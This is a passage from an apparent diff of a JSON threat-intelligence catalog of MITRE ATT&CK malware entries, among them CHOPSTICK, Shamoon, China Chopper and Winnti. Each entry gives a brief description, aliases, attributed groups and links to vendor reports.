server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER", - "value": "POWRUNER - S0184", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0184", - "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" - ], - "synonyms": [ - "POWRUNER" - ] - }, - "uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46" - }, - { - "description": "is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW", - "value": "Power Loader - S0177", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0177", - "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" - ], - "synonyms": [ - "Power Loader", - "Win32/Agent.UAW" - ] - }, - "uuid": "0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3" - }, - { - "description": "Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)\n\nAliases: Pteranodon", - "value": "Pteranodon - S0147", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0147", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ], - "synonyms": [ - "Pteranodon" - ] - }, - "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" - }, - { - "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)\n\nAliases: RARSTONE", - "value": "RARSTONE - S0055", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0055", - "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" - ], - "synonyms": [ - "RARSTONE" - ] - }, - "uuid": "8c553311-0baa-4146-997a-f79acef3d831" - }, - { - "description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka", - "value": "Matroyshka - S0167", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0167", - "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf", - "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" - ], - "synonyms": [ - "Matroyshka" - ] - }, - "uuid": "1cc934e4-b01d-4543-a011-b988dfc1a458" - }, - { - "description": "SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi", - "value": "SHOTPUT - S0063", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0063", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" - ], - "synonyms": [ - "SHOTPUT", - "Backdoor.APT.CookieCutter", - "Pirpi" - ] - }, - "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb" - }, - { - "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany", - "value": "Trojan.Karagany - S0094", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0094", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" - ], - "synonyms": [ - "Trojan.Karagany" - ] - }, - "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d" - }, - { - "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)\n\nAliases: Kasidet", - "value": "Kasidet - S0088", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0088", - "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" - ], - "synonyms": [ - "Kasidet" - ] - }, - "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2" - }, - { - "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp", - "value": "CHOPSTICK - S0023", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0023", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" - ], - "synonyms": [ - "CHOPSTICK", - "SPLM", - "Xagent", - "X-Agent", - "webhp" - ] - }, - "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472" - }, - { - "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)\n\nAliases: MiniDuke", - "value": "MiniDuke - S0051", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0051", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "MiniDuke" - ] - }, - "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" - }, - { - "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT", - "value": "BBSRAT - S0127", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0127", - "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" - ], - "synonyms": [ - "BBSRAT" - ] - }, - "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80" - }, - { - "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)\n\nAliases: Elise, BKDR_ESILE, Page", - "value": "Elise - S0081", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0081", - "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" - ], - "synonyms": [ - "Elise", - "BKDR_ESILE", - "Page" - ] - }, - "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913" - }, - { - "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)\n\nAliases: KOMPROGO", - "value": "KOMPROGO - S0156", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0156", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "synonyms": [ - "KOMPROGO" - ] - }, - "uuid": "7dbb67c7-270a-40ad-836e-c45f8948aa5a" - }, - { - "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)\n\nAliases: BISCUIT", - "value": "BISCUIT - S0017", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0017", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "BISCUIT" - ] - }, - "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda" - }, - { - "description": "Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Uroburos", - "value": "Uroburos - S0022", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0022", - "https://securelist.com/the-epic-turla-operation/65545/" - ], - "synonyms": [ - "Uroburos" - ] - }, - "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4" - }, - { - "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger", - "value": "POWERSOURCE - S0145", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0145", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html", - "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" - ], - "synonyms": [ - "POWERSOURCE", - "DNSMessenger" - ] - }, - "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351" - }, - { - "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)\n\nAliases: hcdLoader", - "value": "hcdLoader - S0071", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0071", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" - ], - "synonyms": [ - "hcdLoader" - ] - }, - "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e" - }, - { - "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)\n\nAliases: Zeroaccess, Trojan.Zeroaccess", - "value": "Zeroaccess - S0027", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0027", - "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" - ], - "synonyms": [ - "Zeroaccess", - "Trojan.Zeroaccess" - ] - }, - "uuid": "552462b9-ae79-49dd-855c-5973014e157f" - }, - { - "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key", - "value": "Skeleton Key - S0007", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0007", - "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" - ], - "synonyms": [ - "Skeleton Key" - ] - }, - "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49" - }, - { - "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)\n\nAliases: Shamoon, Disttrack", - "value": "Shamoon - S0140", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0140", - "https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html", - "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" - ], - "synonyms": [ - "Shamoon", - "Disttrack" - ] - }, - "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3" - }, - { - "description": "is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL", - "value": "FALLCHILL - S0181", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0181", - "https://www.us-cert.gov/ncas/alerts/TA17-318A" - ], - "synonyms": [ - "FALLCHILL" - ] - }, - "uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e" - }, - { - "description": "is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer", - "value": "Volgmer - S0180", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0180", - "https://www.us-cert.gov/ncas/alerts/TA17-318B" - ], - "synonyms": [ - "Volgmer" - ] - }, - "uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08" - }, - { - "description": "is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS", - "value": "TDTESS - S0164", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0164", - "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf" - ], - "synonyms": [ - "TDTESS" - ] - }, - "uuid": "0b32ec39-ba61-4864-9ebe-b4b0b73caf9a" - }, - { - "description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT", - "value": "4H RAT - S0065", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0065", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "synonyms": [ - "4H RAT" - ] - }, - "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" - }, - { - "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH", - "value": "BOOTRASH - S0114", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0114", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" - ], - "synonyms": [ - "BOOTRASH" - ] - }, - "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3" - }, - { - "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups, including Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: China Chopper", - "value": "China Chopper - S0020", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0020", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "synonyms": [ - "China Chopper" - ] - }, - "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" - }, - { - "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)\n\nAliases: Wiper", - "value": "Wiper - S0041", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0041", - "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" - ], - "synonyms": [ - "Wiper" - ] - }, - "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085" - }, - { - "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)\n\nAliases: Unknown Logger", - "value": "Unknown Logger - S0130", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0130", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "synonyms": [ - "Unknown Logger" - ] - }, - "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56" - }, - { - "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)\n\nAliases: gh0st", - "value": "gh0st - S0032", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0032", - "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html" - ], - "synonyms": [ - "gh0st" - ] - }, - "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24" - }, - { - "description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone", - "value": "Helminth - S0170", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0170", - "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" - ], - "synonyms": [ - "Helminth" - ] - }, - "uuid": "eff1a885-6f90-42a1-901f-eef6e7a1905e" - }, - { - "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE", - "value": "CORESHELL - S0137", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0137", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" - ], - "synonyms": [ - "CORESHELL", - "SOURFACE" - ] - }, - "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81" - }, - { - "description": "SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: SOUNDBITE", - "value": "SOUNDBITE - S0157", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0157", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "synonyms": [ - "SOUNDBITE" - ] - }, - "uuid": "9ca488bd-9587-48ef-b923-1743523e63b2" - }, - { - "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron", - "value": "Remsec - S0125", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0125", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" - ], - "synonyms": [ - "Remsec", - "Backdoor.Remsec", - "ProjectSauron" - ] - }, - "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" - }, - { - "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD", - "value": "FLASHFLOOD - S0036", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0036", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "synonyms": [ - "FLASHFLOOD" - ] - }, - "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a" - }, - { - "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)\n\nAliases: TINYTYPHON", - "value": "TINYTYPHON - S0131", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0131", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "synonyms": [ - "TINYTYPHON" - ] - }, - "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca" - }, - { - "description": "Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)\n\nAliases: Gazer, WhiteBear\n\nContributors: Bartosz Jerzman", - "value": "Gazer - S0168", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0168", - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" - ], - "synonyms": [ - "Gazer", - "WhiteBear" - ] - }, - "uuid": "76abb3ef-dafd-4762-97cb-a35379429db4" - }, - { - "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar. (Citation: F-Secure The Dukes)\n\nAliases: SeaDuke, SeaDaddy, SeaDesk", - "value": "SeaDuke - S0053", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0053", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "SeaDuke", - "SeaDaddy", - "SeaDesk" - ] - }, - "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14" - }, - { - "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)\n\nAliases: HALFBAKED", - "value": "HALFBAKED - S0151", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0151", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" - ], - "synonyms": [ - "HALFBAKED" - ] - }, - "uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f" - }, - { - "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco", - "value": "ADVSTORESHELL - S0045", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0045", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" - ], - "synonyms": [ - "ADVSTORESHELL", - "NETUI", - "EVILTOSS", - "AZZY", - "Sedreco" - ] - }, - "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73" - }, - { - "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)\n\nAliases: SNUGRIDE", - "value": "SNUGRIDE - S0159", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0159", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" - ], - "synonyms": [ - "SNUGRIDE" - ] - }, - "uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870" - }, - { - "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014. (Citation: Cylance Dust Storm)\n\nAliases: S-Type", - "value": "S-Type - S0085", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0085", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" - ], - "synonyms": [ - "S-Type" - ] - }, - "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131" - }, - { - "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler", - "value": "NetTraveler - S0033", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0033", - "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" - ], - "synonyms": [ - "NetTraveler" - ] - }, - "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" - }, - { - "description": "is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD", - "value": "RemoteCMD - S0166", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0166", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" - ], - "synonyms": [ - "RemoteCMD" - ] - }, - "uuid": "4e6b9625-bbda-4d96-a652-b3bb45453f26" - }, - { - "description": "Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)\n\nAliases: Dyre", - "value": "Dyre - S0024", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0024", - "http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes" - ], - "synonyms": [ - "Dyre" - ] - }, - "uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe" - }, - { - "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS", - "value": "P2P ZeuS - S0016", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0016", - "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/" - ], - "synonyms": [ - "P2P ZeuS", - "Peer-to-Peer ZeuS", - "Gameover ZeuS" - ] - }, - "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85" - }, - { - "description": "is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21)\n\nAliases: (Citation: FinFisher)", - "value": "FinFisher - S0182", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0182", - "http://www.finfisher.com/FinFisher/index.html", - "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" - ], - "synonyms": [ - "FinFisher" - ] - }, - "uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858" - }, - { - "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT", - "value": "ComRAT - S0126", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0126", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf", - "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" - ], - "synonyms": [ - "ComRAT" - ] - }, - "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565" - }, - { - "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)\n\nAliases: POSHSPY", - "value": "POSHSPY - S0150", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0150", - "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html" - ], - "synonyms": [ - "POSHSPY" - ] - }, - "uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808" - }, - { - "description": "is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus", - "value": "Felismus - S0171", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0171", - "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", - "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" - ], - "synonyms": [ - "Felismus" - ] - }, - "uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1" - }, - { - "description": "is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys", - "value": "Truvasys - S0178", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0178", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha", - "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", - "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf" - ], - "synonyms": [ - "Truvasys" - ] - }, - "uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad" - }, - { - "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)\n\nAliases: Winnti", - "value": "Winnti - S0141", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0141", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" - ], - "synonyms": [ - "Winnti" - ] - }, - "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21" - }, - { - "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)\n\nAliases: RTM", - "value": "RTM - S0148", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0148", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" - ], - "synonyms": [ - "RTM" - ] - }, - "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841" - }, - { - "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe", - "value": "CallMe - S0077", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0077", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "CallMe" - ] - }, - "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5" - }, - { - "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)\n\nAliases: HIDEDRV", - "value": 